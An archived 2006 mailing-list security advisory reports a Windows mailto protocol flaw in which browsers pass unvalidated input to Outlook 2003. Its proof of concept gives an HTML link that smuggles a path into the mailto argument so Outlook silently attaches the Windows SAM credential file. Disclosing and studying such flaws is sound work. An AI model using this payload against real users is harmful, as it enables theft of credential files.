Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

Multiple browsers Windows mailto protocol Office 2003 file attachment ex

Subject: Multiple browsers Windows mailto protocol Office 2003 file attachment exploit
Date: 24 Apr 2006 15:55:36 -0000
** Inge Henriksen Security Advisory http://ingehenriksen.blogspot.com/ **

Advisory Name: Multiple browsers Windows mailto protocol Office 2003 file 
attachment exploit

Release Date: Not released

Tested and Confirmed Vulerable: 
Micrsoft Outlook 2003 SP 1
Microsoft Internet Explorer 6 SP2
Mozilla Firefox 1.06
Avant Browser 10.1 Build 17

Severity: Low

Type: Stealing files

From where: Remote

Discovered by: 
Inge Henriksen (inge.henriksen@booleansoft.com) 
http://ingehenriksen.blogspot.com/

Vendor Status: Not notified

Overview:
Application protocols handling in Microsoft Windows is badly designed, i.e. 
when someone types 
mailto:someone@somewhere.com into a browser the protocol is first looked up 
under
HKEY_CLASSES_ROOT\%protocol%\shell\open\command, if it is a protocol that is 
allowed under the
current user context then the value is simply replaced by the contents in the 
address bar at %1. In
our example 

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "%1"

would become

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m 
"mailto:someone@somewhere.com";

There is absolutely no input validation in all the browsers I have tested, i.e. 
there are exploits
availible by entering more data into the address bar than was intended. 

Proof-of Concept:

The mailto application protocol can be axploited by entering 
<email>""<filepath>, this will cause
OUTLOOK.EXE to attach the file <filepath> to the email without asking for 
permission, thus opening
up for sensitive files to be stolen when a user sends an email it is fair to 
believe that many
people would not notice the attached file before sending the email.

To attach the SAM file to a email a html file could contain this:

<a href='mailto:someone@somewhere.com""..\..\..\..\..\windows\REPAIR\SAM'>Click 
here to email me</a>

The command being run would now be:

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m 
"mailto:someone@somewhere.com""..\..\..\..\..\windows\REPAIR\SAM";

, thus attaching the SAM file.

<Prev in Thread] Current Thread [Next in Thread>
  • Multiple browsers Windows mailto protocol Office 2003 file attachment exploit, inge . henriksen <=